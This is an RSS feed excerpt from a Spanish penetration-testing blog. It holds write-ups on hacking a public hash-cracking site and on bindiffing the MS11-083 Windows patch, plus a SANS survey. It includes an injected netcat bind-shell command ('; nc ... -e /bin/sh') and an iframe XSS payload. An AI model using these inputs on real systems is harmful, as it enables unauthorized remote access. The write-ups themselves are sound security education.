&lt;div style="text-align: justify;"&gt;La salida aparece estar acotada a un espacio demasiado limitado para poder hacer un 'cat' de algún fichero o utilizar cualquier otro comando cuya salida sea de más de unas pocas líneas. Sería genial si tuvieran instalado el netcat para ponerlo a escuchar en algún puerto y tener una shell...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;; nc -v -l -p 22022 -e /bin/sh&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-c1BI_emfjNQ/Tvufaiv1-NI/AAAAAAAAAOg/wbCtLi8xlDM/s1600/Imagen+05.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://1.bp.blogspot.com/-c1BI_emfjNQ/Tvufaiv1-NI/AAAAAAAAAOg/wbCtLi8xlDM/s320/Imagen+05.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Si no lo hubiera tenido&amp;nbsp;hubiéramos&amp;nbsp;podido hacer otras cosas, pero en este caso ha sido mucho más fácil de lo que&amp;nbsp;esperábamos, con el netcat instalado, todos los puertos abiertos, etc.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez dentro, le podemos pegar un vistazo al código de la aplicación y confirmar que codifican los parámetros de entrada con la función de PHP 'htmlentities' para tratar de prevenir los Cross Site Scripting, pero por desgracia para el desarrollador, no solo existen los XSS.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Nota &lt;a href="https://twitter.com/#!/JoseSelvi" target="_blank"&gt;&lt;b&gt;Jose Selvi&lt;/b&gt;&lt;/a&gt;: Como nota curiosa, cuando estuvimos pegándole un vistazo a la aplicación a ver lo que hacía, vimos que guardaba en una base de datos local cada hash que se le introducía y contraseña exitosa calculada. En este caso no guardaba ninguna información más, pero podría estar guardando la IP de origen, con lo cual&amp;nbsp;estaríamos&amp;nbsp;proporcionando a un desconocido las llaves de nuestra casa, y además le habríamos puesto la etiqueta con la dirección. Es necesario tener mucho cuidado cuando se usan servicios públicos de crackeo de contraseñas, ya que si se crackea con éxito, no sabemos que va a pasar con esa contraseña.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Hemos dicho que la aplicación almacena en base de datos? Quizá podríamos explotar una Inyección SQL... &lt;a href="http://www.pentester.es/2012/01/crackeando-un-hash-cracker-iii-sqli-con.html" target="_blank"&gt;En el próximo post&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-7599159761777205227?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/01/crackeando-un-hash-cracker-ii-cmdi.html</link><author>noreply@blogger.com (Julio Gómez)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-MEqD0HpckDc/TvufP6BxMKI/AAAAAAAAAOU/3Crjq-O_WTk/s72-c/Imagen+04.jpeg" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3908990249612158901</guid><pubDate>Mon, 09 Jan 2012 06:39:00 +0000</pubDate><atom:updated>2012-01-09T07:39:00.099+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">XSS</category><title>Crackeando un Hash Cracker (I): XSS con MD5</title><description>&lt;div style="text-align: justify;"&gt;Contribución de &lt;a href="http://es.linkedin.com/in/juliogomezortega" target="_blank"&gt;&lt;b&gt;Julio Gómez&lt;/b&gt;&lt;/a&gt;: Empezamos el año con una contribución de Julio Gómez, compañero mio en el departamento de auditoría de &lt;a href="http://www.s21sec.com/" target="_blank"&gt;S21sec&lt;/a&gt; y redactor del blog "&lt;a href="http://laxmarcaellugar.blogspot.com/" target="_blank"&gt;La X Marca el Lugar&lt;/a&gt;" junto con otros compañeros. En su colaboración, va a destripar una de estas webs que ofrecen la posibilidad de introducirles un hash y que te devuelven su contraseña, que como veremos sufre algunos problemillas de seguridad, algo que no deja de ser gracioso teniendo en cuenta su función:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Cada vez es más habitual que la seguridad sea una característica a tener en cuenta durante los desarrollos de cualquier tipo de software. Dentro del ámbito de las aplicaciones web, es muy frecuente que los desarrolladores estén familiarizados con los términos Cross Site Scripting o Inyección de Código SQL. El problema es que, en muchos casos, no terminan de comprender del todo los diferentes tipos de vulnerabilidades y se conforman con seguir algún manual de buenas prácticas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Éste es el caso de una aplicación web que recientemente me he encontrado en Internet y con la que no tengo nada que ver aunque haya gente que piense que está relacionada con una herramienta (&lt;a href="http://code.google.com/p/findmyhash/"&gt;&lt;b&gt;findmyhash&lt;/b&gt;&lt;/a&gt;) que publiqué durante 2011.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La aplicación es un muy simple. Tan sólo tiene un formulario en el que se puede introducir un hash de cualquiera de los tipos soportados. Tras hacerlo, la aplicación parece que busca en varios servicios públicos de Internet el hash para tratar de recuperar el valor de la cadena que genera dicho hash.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-xuCRS-i-tmg/TvudwQPHxRI/AAAAAAAAAM4/fGR8rPbGP6w/s1600/Imagen+01.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="221" src="http://3.bp.blogspot.com/-xuCRS-i-tmg/TvudwQPHxRI/AAAAAAAAAM4/fGR8rPbGP6w/s320/Imagen+01.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Jugando un poco con la aplicación, intentando probar si es vulnerable a Cross Site Scripting, se puede comprobar que parece que filtra correctamente las entradas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Cuando por mi profesión tengo que recomendar cómo prevenir los Cross Site Scripting en una aplicación web, siempre recomiendo que por un lado se validen todas las entradas de la aplicación y que, además, los valores dinámicos que se generen sean codificados utilizando HTML entities.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En la práctica, la realidad es que tan sólo se suelen validar las entradas que provengan directamente del usuario y no en todos los casos los desarrolladores se acuerdan de codificar las salidas. En el caso de esta aplicación en cuestión, las entradas de usuario están convenientemente validadas y codificadas, pero ¿y las salidas?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Partiendo de la base de que "no sabemos" (luego veremos que sí) cómo funciona la aplicación a nivel interno. Si seguimos trasteando vemos que nos devuelve si ha sido o no capaz de romper el hash y, de hacerlo, nos indica la cadena original que genera dicho hash.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No sé si ya habréis intuido por dónde voy... Las entradas se validan correctamente, pero &lt;b&gt;¿y si introducimos un hash que se corresponda con alguna cadena HTML?&lt;/b&gt; ¿Estarán codificando también la salida de la aplicación?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si probamos a introducir hashes correspondientes a cadenas de inyección típicas (&amp;lt;script&amp;gt;alert("XSS")&amp;lt;/script&amp;gt;) vemos que directamente la aplicación no es capaz de romperlas. Que por otro lado tiene sentido porque este tipo de aplicaciones suelen utilizarse para romper contraseñas y ¿quién utiliza como contraseña un vector de inyección para XSS? (que por otro lado sería una contraseña bastante buena...)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No obstante, como en la respuesta de la aplicación nos muestra algunos de los servicios que utiliza, al cabo de un rato de investigar encontramos &lt;b&gt;uno que nos permite no sólo romper un hash, sino calcular uno nuevo a partir de una cadena&lt;/b&gt;. De este modo, &lt;b&gt;se queda almacenada en su base de datos&lt;/b&gt; la cadena original y el hash asociado.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Nw6SwK_G3pw/TvuevN_dPzI/AAAAAAAAAN8/H8U7QqX4VGE/s1600/Imagen+02.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://1.bp.blogspot.com/-Nw6SwK_G3pw/TvuevN_dPzI/AAAAAAAAAN8/H8U7QqX4VGE/s320/Imagen+02.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Para el ejemplo, he utilizado la cadena:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;&amp;lt;iframe src="http://www.bing.com" style="position:absolute;z-index:200;display:inline;"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/blockquote&gt;cuyo MD5 es:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;e8de8366340de0d9bda9858e97b42573&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Si ahora probamos a introducir este MD5 en el buscador... ¡Bingo! La aplicación no codifica las salidas correctamente. &lt;b&gt;Tenemos un Cross Site Scripting en toda regla&lt;/b&gt;, aunque algo rebuscado y de poca utilidad en un caso real.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-nxYfeF9QKTg/Tvue9WJorOI/AAAAAAAAAOI/IBe4jqTyfvk/s1600/Imagen+03.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://2.bp.blogspot.com/-nxYfeF9QKTg/Tvue9WJorOI/AAAAAAAAAOI/IBe4jqTyfvk/s320/Imagen+03.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Ahora que hemos conseguido realizar un XSS de esta forma un tanto alternativa, podemos irnos a probar otro tipo de vulnerabilidades en la página. Pero eso en el post de mañana.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-3908990249612158901?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/01/crackeando-un-hash-cracker-i-xss-con.html</link><author>noreply@blogger.com (Julio Gómez)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-xuCRS-i-tmg/TvudwQPHxRI/AAAAAAAAAM4/fGR8rPbGP6w/s72-c/Imagen+01.jpeg" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5567445576690398886</guid><pubDate>Mon, 21 Nov 2011 06:42:00 +0000</pubDate><atom:updated>2011-11-21T07:42:00.194+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Parches</category><category domain="http://www.blogger.com/atom/ns#">Vulnerabilidad</category><category domain="http://www.blogger.com/atom/ns#">Bindiffing</category><title>Patch Bindiffing (II)</title><description>&lt;div style="text-align: justify;"&gt;La semana pasada nos quedamos en un &lt;a href="http://www.pentester.es/2011/11/patch-bindiffing-i.html" target="_blank"&gt;anterior post&lt;/a&gt; con que habíamos analizado un parche y habíamos descubierto que ficheros del sistema habían sido añadidos o actualizados.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora nos quedaba la segunda parte, que es... ¿qué modificaciones se han hecho sobre estos binarios?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para hacer esto tendremos que coger las dos versiones del binario, librería, o en este caso driver, y emplear alguna de las herramientas que existen para hacer este análisis diferencial.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para este caso concreto he usado una extensión de &lt;a href="http://www.hex-rays.com/products/ida/index.shtml" style="font-weight: bold;" target="_blank"&gt;IDA&lt;/a&gt;, desarrollada por &lt;a href="http://www.tenable.com/" target="_blank"&gt;Tenable&lt;/a&gt;, llamada &lt;a href="http://code.google.com/p/patchdiff2/" target="_blank"&gt;&lt;b&gt;patchdiff2&lt;/b&gt;&lt;/a&gt;, y que os podeis descargar de forma completamente gratuita &lt;a href="http://code.google.com/p/patchdiff2/" target="_blank"&gt;aquí&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hay otras extensiones para IDA que realizan estas mismas acciones. &lt;a href="http://twitter.com/#!/vierito5" target="_blank"&gt;Vierito5&lt;/a&gt; publicó hace tiempo &lt;a href="http://vierito.es/wordpress/" target="_blank"&gt;en su blog&lt;/a&gt; una lista de extensiones recomendadas para IDA en las que, además de otras muchas extensiones de todo tipo, podemos encontrar varias opciones para realizar bindiffing.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para añadir uno de estas extensiones únicamente hay que buscar el directorio "plugins" dentro del directorio de IDA. Lo reconoceremos porque veremos que tiene dentro ficheros con extensión "*.pmc", que son exactamente como los que nos vendrán en el zip del patchdiff2. Dejamos los "pmc" del patchdiff2 en este directorio y ya tendremos completamente disponible la extensión la próxima vez que arranquemos IDA.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para poder utilizar el bindiffing es necesario que este se haga a partir de los ficheros "*.idb" de IDA, que es un formato propio de esta herramienta en el que podemos guardar el análisis que realiza la herramienta sobre un binario concreto. Para ello, abrimos el primero de los binarios (tcpip-old.sys) y dejamos que IDA lo pre-procese, y cuando acabe de hacerlo cerramos y elegimos guardar la base de datos, con lo que se nos generará un fichero &lt;b&gt;tcpip-old.idb&lt;/b&gt;, que usaremos a continuación.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora abrimos de nuevo IDA pero esta vez elegimos analizar tcpip-new.sys, y dejamos de nuevo que IDA lo pre-procese. Una vez que acabe nos vamos al menú "Edit" y a "Plugins", y elegimos el plugin "PatchDiff2", con lo que se nos abrirá una ventana para elegir con que otro fichero "*.idb" lo queremos comparar. Elegimos tcpip-old.idb y lo dejamos que realice el bindiffing.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Al hacer esto, veremos que nos salen tres pestañas nuevas:&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;i&gt;&lt;u&gt;Identical Functions&lt;/u&gt;&lt;/i&gt;: Son aquellas que han sido detectadas como idénticas en ambos binarios, es decir, no han cambiado al hacer el bindiffing.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;&lt;i&gt;Unmatched Functions&lt;/i&gt;&lt;/u&gt;: Son aquellas de las que, teóricamente, no se ha podido encontrar una función equivalente en el otro binario. Generalmente suele tratarse de funciones nuevas, aunque es muy común que nos encontremos muchas funciones idénticas pero que por algún motivo no se han hecho match. La columna CRC nos puede dar una pista sobre esto.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;&lt;i&gt;Matched Functions&lt;/i&gt;&lt;/u&gt;: Son aquellas que han sido detectadas como que son las mismas, pero que han sufrido alguna modificación&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Sabiendo esto, y dado que nos estamos centrando en un bindiffing, podemos asumir que las funciones que han hecho match completo no nos interesan, y que las unmatched que tengan un CRC idéntico o que sean completamente nuevas, tampoco nos interesan (a priori, si notamos que nos falta información volveremos atrás), ya que las funciones nuevas tienen que ser llamadas desde ningún sitio, así que su "origen" lo vamos a tener pillado a través de las funciones "matched".&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-axuNKlJH-wM/TsfYGuzGtdI/AAAAAAAAAlw/AU8AGzqwqIQ/s1600/Captura+de+pantalla+2011-11-10+a+las+08.05.23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="85" src="http://1.bp.blogspot.com/-axuNKlJH-wM/TsfYGuzGtdI/AAAAAAAAAlw/AU8AGzqwqIQ/s400/Captura+de+pantalla+2011-11-10+a+las+08.05.23.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;En este caso, tenemos cinco funciones que parecen haber sido modificadas por el parche, así que alguna de ellas tiene que haber sido la que corrige la vulnerabilidad, o quizá una combinación de varias de ellas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para poder ver los cambios exactos introducidos en cada una de ellas, deberemos seleccionar la función y pulsar con el botón secundario del ratón para que nos salga el menú, y elegiremos la opción "&lt;b&gt;Display Graphs&lt;/b&gt;".&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-T5hk8lDPXUc/TsfZvxwlGpI/AAAAAAAAAl4/78piQRm9dsc/s1600/Captura+de+pantalla+2011-11-10+a+las+08.15.14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="235" src="http://3.bp.blogspot.com/-T5hk8lDPXUc/TsfZvxwlGpI/AAAAAAAAAl4/78piQRm9dsc/s400/Captura+de+pantalla+2011-11-10+a+las+08.15.14.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Una vez que vemos gráficamente la función, vemos de una forma muy clara las modificaciones realizada, ya que el código se encuentra separado en bloques con un código de colores que nos proporciona información sobre estos cambios:&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;u&gt;Blanco&lt;/u&gt;: Bloques idénticos, es decir, no se ha producido ningún cambio en ellos.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;Gris&lt;/u&gt;: Bloques "unmatched", generalmente trozos nuevos de código que serán llamados desde algún otro bloque modificado.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;Rojo&lt;/u&gt;: Bloques "matched", es decir, que han sufrido algún tipo de modificación.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;No os puedo remitir a la documentación de PatchDiff2 para más información, ya que al menos yo no he encontrado ninguna fuente oficial, pero podeis encontrar información buscando en Google, o sencillamente jugando un poco con ella, ya que permite hacer correcciones sobre el análisis automático que hace, es decir, podeis pasar de "unmatched" a "matched" una función, y cosas así.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En el próximo post, veremos cada una de estas funciones, a ver que cambios concretos ha realizado el parche, a ver si conseguimos averiguar en que consiste la vulnerabilidad que parchea.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5567445576690398886?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2011/11/patch-bindiffing-ii.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-axuNKlJH-wM/TsfYGuzGtdI/AAAAAAAAAlw/AU8AGzqwqIQ/s72-c/Captura+de+pantalla+2011-11-10+a+las+08.05.23.png" height="72" width="72" /><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2362494025969215970</guid><pubDate>Wed, 16 Nov 2011 16:56:00 +0000</pubDate><atom:updated>2011-11-16T17:56:59.039+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SANS</category><title>Encuesta: Cursos del SANS Institute en España</title><description>&lt;div style="text-align: justify;"&gt;Como ya se comentó &lt;a href="http://www.pentester.es/2011/11/sans-institute-explicaciones.html" target="_blank"&gt;en el anterior post&lt;/a&gt;, publicamos una encuesta sobre los cursos y modalidades del SANS Institute más demandadas, con el fin de plantear los cursos de 2012 en adelante.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Os pido que, al completar el formulario, seais sinceros con respecto a los cursos y modalidades a los que &lt;b&gt;OS APUNTARIAIS&lt;/b&gt;, no solo los que os interesan, sino en los que realmente existen altas probabilidades de que pudiéramos contar con vosotros como alumnos. Toda la información sobre cursos, modalidades, precios, etc, &lt;a href="http://www.pentester.es/p/sans.html" target="_blank"&gt;se puede encontrar aquí&lt;/a&gt;. La descripción de muchos cursos aún no está, pero&amp;nbsp;podéis&amp;nbsp;mirarlo directamente en la web del SANS, o simplemente completar el formulario más adelante.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;a href="https://docs.google.com/spreadsheet/embeddedform?formkey=dERwOXVkR1ZGS1A5aG9fY1J2TkF1SGc6MQ"&gt;ENCUESTA AQUÍ&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2362494025969215970?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2011/11/encuesta-cursos-del-sans-institute-en.html</link><author>noreply@blogger.com (Jose Selvi)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3583974241741927485</guid><pubDate>Mon, 14 Nov 2011 08:28:00 +0000</pubDate><atom:updated>2011-11-14T09:28:02.532+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Parches</category><category domain="http://www.blogger.com/atom/ns#">Vulnerabilidad</category><category domain="http://www.blogger.com/atom/ns#">Bindiffing</category><title>Patch Bindiffing (I)</title><description>&lt;div style="text-align: justify;"&gt;Todos sabemos, más que nada por lo mediáticos que son, lo que son las vulnerabilidades/exploits 0-day, que son&amp;nbsp;vulnerabilidades&amp;nbsp;descubiertas por alguien que no notifica al creador del producto, sino que utiliza el exploit para su propio provecho, o simplemente lo publica en full-disclosure, antes de que pueda prepararse un parche.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Otro tipo de exploits que podamos encontrar son los &lt;b&gt;1-day&lt;/b&gt;. La explotabilidad de los 1-day está muy&amp;nbsp;estrechamente&amp;nbsp;relacionada con la lentitud de algunas personas o entidades en aplicar los parches de seguridad. Una vez que el fabricante del producto saca un parche, aunque no proporcione mucha información acerca de la vulnerabilidad, dicho parche es analizado para obtener toda esa información, y de este modo poder tener un exploit funcional para dicha vulnerabilidad. Si esto se consigue en un día o en unos pocos días (de ahí su nombre), podemos decir casi con seguridad que habrá muchas potenciales víctimas que no tendrán parcheados sus sistemas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para ejemplificar esto, vamos a utilizar la vulnerabilidad &lt;a href="http://technet.microsoft.com/es-es/security/bulletin/ms11-083" target="_blank"&gt;&lt;b&gt;MS-11-083&lt;/b&gt;&lt;/a&gt;, publicada por Microsoft la semana pasada y que, según parece, podría provocar ejecución remota de código mediante el envio de paquetes UDP en sistemas Windows 7 y Windows 2008.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para poder hacer un Bindiffing, lo primero que tenemos que hacer es obtener dos binarios sobre los que hacer el diffing, ¿verdad? ¿cómo conseguimos esto? Siguiendo estos pasos:&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Instalamos un Windows 7 (en este caso) en una máquina virtual y lo actualizamos hasta que nos aparezca para actualizar el parche en cuestión que queremos analizar. Éste no lo instalamos.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Nos descargamos e instalamos en la máquina el &lt;a href="http://sourceforge.net/projects/regshot/" target="_blank"&gt;&lt;b&gt;RegShot&lt;/b&gt;&lt;/a&gt; o alguna herramienta similar, que nos sirva para tomar snapshot fichero a fichero de todo el sistema.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Hacemos un Snapshot completo de la máquina virtual.&lt;/li&gt;
&lt;li&gt;&lt;div style="text-align: justify;"&gt;Lanzamos RegShot para hacer un Snapshot de todos los ficheros. Por comodidad, ya que sabemos que es un parche de sistema, le podemos decir que busque solo en C:\Windows, que siempre irá más rápido que hacer Snapshot de todo el disco. Elegimos la opción "shot and save" para que nos guarde el snapshot en un fichero, ya que este parche necesita reiniciar y sino perderemos el estado.&lt;/div&gt;&lt;br /&gt;
&lt;center&gt;&lt;a href="http://4.bp.blogspot.com/-FEZcIi_sZug/TsDMyxLYbfI/AAAAAAAAAlg/N4M9tC2xLTA/s1600/Captura+de+pantalla+2011-11-09+a+las+08.45.35.png" imageanchor="1" style="text-align: center;"&gt;&lt;img border="0" height="254" src="http://4.bp.blogspot.com/-FEZcIi_sZug/TsDMyxLYbfI/AAAAAAAAAlg/N4M9tC2xLTA/s320/Captura+de+pantalla+2011-11-09+a+las+08.45.35.png" width="320" /&gt;&lt;/a&gt;&lt;/center&gt; &lt;br /&gt;
&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Instalamos el parche. Nos pedirá que reiniciemos.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Volvemos a lanzar RegShot, pero esta vez en la opción "1st shot" elegimos "load" y cargamos el snapshot que hicimos antes de reiniciar. Hacemos el segundo shot (2nd shot, shot) y cuando acabe pulsamos sobre "Compare" para que nos saque las diferencias.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;En otro tipo de parches puede resultar mucho más inmediato ver los ficheros modificados, pero en este caso, con un reinicio de por medio, va a haber muchísimos registros y ficheros modificados. Veremos un montón de temporales del parche que acabamos de instalar, prefetchs, ficheros de logs, y un montón de registros, pero debemos pasar de toda esa "paja" e intentar ir a la sección de ficheros modificados y buscar aquellos que estén en un path que nos hagan ver que se trata de un fichero del sistema:&lt;/div&gt;&lt;br /&gt;
&lt;i&gt;[...]&lt;br /&gt;
----------------------------------&lt;br /&gt;
Files [attributes?] modified:133&lt;br /&gt;
----------------------------------&lt;br /&gt;
[...]&lt;br /&gt;
&lt;b&gt;C:\Windows\System32\drivers\tcpip.sys&lt;/b&gt;&lt;br /&gt;
C:\Windows\System32\LogFiles\Scm\729f4f57-2181-4edb-bb11-79c7914d10dc&lt;br /&gt;
C:\Windows\System32\LogFiles\Scm\9b75c702-ea13-406a-badb-6c588ee4375b&lt;br /&gt;
C:\Windows\System32\LogFiles\Scm\a1cfa52f-06f2-418d-addb-cd6456d66f43&lt;br /&gt;
C:\Windows\System32\LogFiles\Scm\a316e645-1c56-45a6-bd6a-7dca79778090&lt;br /&gt;
[...]&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;El resultado tiene sentido, vemos que ha modificado el driver &lt;b&gt;tcpip.sys&lt;/b&gt;, que presumiblemente es el que contiene la vulnerabilidad. En este caso solo he podido apreciar un fichero (aunque hay gente por ahí que habla de dos, pero yo en Windows 7 solo he visto uno), así que lo que nos queda ahora por hacer es copiarlo fuera de la máquina virtual, y llamarlo &lt;b&gt;tcpip-new.sys&lt;/b&gt; para diferenciarlo del original.&lt;/div&gt;&lt;br /&gt;
